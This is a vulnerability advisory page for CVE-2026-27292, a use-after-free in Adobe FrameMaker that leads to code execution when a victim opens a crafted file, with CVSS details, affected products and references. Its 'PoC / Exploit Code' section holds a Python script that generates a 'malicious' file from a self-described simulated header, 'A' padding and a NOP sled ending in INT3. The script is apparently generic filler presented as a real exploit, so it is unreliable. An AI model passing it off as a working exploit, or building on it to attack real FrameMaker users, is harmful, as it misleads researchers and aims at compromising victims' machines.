CVE-2026-27292

Description

Adobe Framemaker versions 2022.8 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe FrameMaker <= 2022.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept generator for CVE-2026-27292
# This script generates a malformed file to trigger the Use After Free vulnerability.

import struct

def generate_malicious_file(filename):
    with open(filename, 'wb') as f:
        # File Header (Simulated)
        f.write(b'MFM')
        # Malicious chunk designed to corrupt heap metadata
        # Triggering the free operation
        payload = b'A' * 0x100
        f.write(struct.pack('<I', len(payload)))
        f.write(payload)
        
        # Use After Free Trigger Data
        # This data attempts to hijack the freed pointer
        uaf_trigger = b'\x90' * 0x50 + b'\xCC' # INT3 instruction for debugging
        f.write(uaf_trigger)
        
    print(f"[+] Malicious file generated: {filename}")

if __name__ == "__main__":
    generate_malicious_file("cve_2026_27292_poc.mfm")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27292
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27292
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27292/
[4] VulDB https://vuldb.com/cve/CVE-2026-27292
[5] https://helpx.adobe.com/security/products/framemaker/apsb26-36.html

Raw JSON Data

JSON

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